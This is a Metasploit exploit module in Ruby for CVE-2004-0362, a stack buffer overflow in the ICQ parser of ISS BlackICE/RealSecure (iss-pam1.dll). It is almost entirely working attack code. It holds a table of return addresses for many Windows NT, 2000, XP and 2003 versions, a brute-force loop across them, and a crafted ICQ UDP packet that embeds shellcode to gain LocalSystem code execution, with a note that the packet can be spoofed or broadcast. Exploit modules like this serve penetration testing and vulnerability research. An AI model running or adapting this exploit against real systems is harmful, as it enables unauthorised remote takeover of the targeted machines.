ISS PAM.dll ICQ Parser Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ISS PAM.dll ICQ Parser Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the ISS products that use  
the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation  
will result in arbitrary code execution as LocalSystem. This exploit   
only requires 1 UDP packet, which can be both spoofed and sent to a broadcast  
address.  
  
The ISS exception handler will recover the process after each overflow, giving  
us the ability to bruteforce the service and exploit it multiple times.  
},  
'Author' => 'spoonm',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2004-0362'],  
['OSVDB', '4355'],  
['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],  
['URL', 'http://xforce.iss.net/xforce/alerts/id/166'],  
],  
'Payload' =>  
{  
'Space' => 504 -31 -4,  
'BadChars' => "\x00",  
'MinNops' => 0,  
'MaxNops' => 0,  
'StackAdjustment' => -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Bruteforce', { } ],  
[ 'Bruteforce iis-pam1.dll', { 'Targets' => 3 .. 4 } ],  
[ 'Bruteforce NT 4.0', { 'Targets' => 5 .. 15 } ],  
[ 'iis-pam1.dll 3.6.06', { 'Ret' => 0x5e0a47ef } ],   
[ 'iis-pam1.dll 3.6.11', { 'Ret' => 0x5e0da1db } ],   
[ 'WinNT SP3/SP4/SP5', { 'Ret' => 0x777e79ab } ],   
[ 'WinNT SP4/SP5', { 'Ret' => 0x7733b8db } ],   
[ 'WinNT SP5/SP6 - advapi32', { 'Ret' => 0x77dcd1cb } ],   
[ 'WinNT SP3/SP5/SP6 - shell32', { 'Ret' => 0x77cec080 } ],   
[ 'WinNT SP5/SP6 - mswsock', { 'Ret' => 0x7767ebca } ],   
[ 'WinXP SP0/SP1 - shell32', { 'Ret' => 0x776606af } ],   
[ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76b305a7 } ],   
[ 'WinXP SP0/SP1 - atl', { 'Ret' => 0x76e61a21 } ],   
[ 'WinXP SP0/SP1 - ws2_32', { 'Ret' => 0x71ab7bfb } ],   
[ 'WinXP SP0/SP1 - mswsock', { 'Ret' => 0x71a5403d } ],   
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],  
[ 'Win2000 SP0 - SP4', { 'Ret' => 0x750231e2 } ],   
[ 'Win2000 SP2/SP3 - samlib', { 'Ret' => 0x75159da3 } ],   
[ 'Win2000 SP0/SP1 - activeds', { 'Ret' => 0x77ed0beb } ],   
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e3171b } ],  
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],   
[ 'WinXP SP0 - SP1', { 'Ret' => 0x71aa3a4b } ],   
[ 'Win2003 SP0', { 'Ret' => 0x71bf3cc9 } ],   
],  
'DisclosureDate' => 'Mar 18 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(1)  
], self.class)  
end  
  
def exploit  
datastore['RPORT'] = rand(65536) if rport == 1  
  
targs = [ target ]  
  
if target.name =~ /^Brute/  
if target['Targets']  
targs = []  
  
target['Targets'].each { |idx|  
targs << targets[idx]  
}  
else  
targs = targets.dup  
  
targs.delete_at(0)  
targs.delete_at(0)  
targs.delete_at(0)  
end  
end  
  
targs.each { |targ|  
print_status("Trying target #{targ.name} [#{"%.8x" % targ.ret}]...")  
  
shellcode = payload.encoded + rand_text_english(payload_space - payload.encoded.length)  
email = rand_text_english(19) + [targ.ret].pack('V') + shellcode  
  
# Hopefully this structure is correct -- ported from msf 2. Blame me  
# (skape) if it doesn't work!  
packet =  
# SRV_MULTI  
[5, 0, 0, 530, 0, 0, 1161044754, 0, 2].pack('vcVvvvVVc') +   
# SRV_USER_ONLINE  
[5, 0, 0, 110, 0, 0, 1161044754, 0].pack('vcVvvvVV') +  
[1161044754, 1, 0, 0, 0, 0, 0].pack('VVVVcVV') +  
# SRV_META_USER  
[5, 0, 0, 990, 0, 0, 2018915346, 0].pack('vcVvvvVV') +  
"\x00\x00\x0a" + # subcommand / success  
"\x00\x00" + # nick length / nick  
"\x00\x00" + # first length / first  
"\x00\x00" + # last length / last  
[email.length].pack('v') + email +   
"\x00\x00\x00\x00\x00\x00\x00"  
  
print_status("Sending UDP request to #{datastore['RPORT']} (#{packet.length} bytes)")  
  
connect_udp(true, { 'CPORT' => 4000 })  
udp_sock.put(packet)  
disconnect_udp  
  
print_status("Sleeping (giving exception handler time to recover)")  
  
sleep(5)  
}  
end  
  
end  
`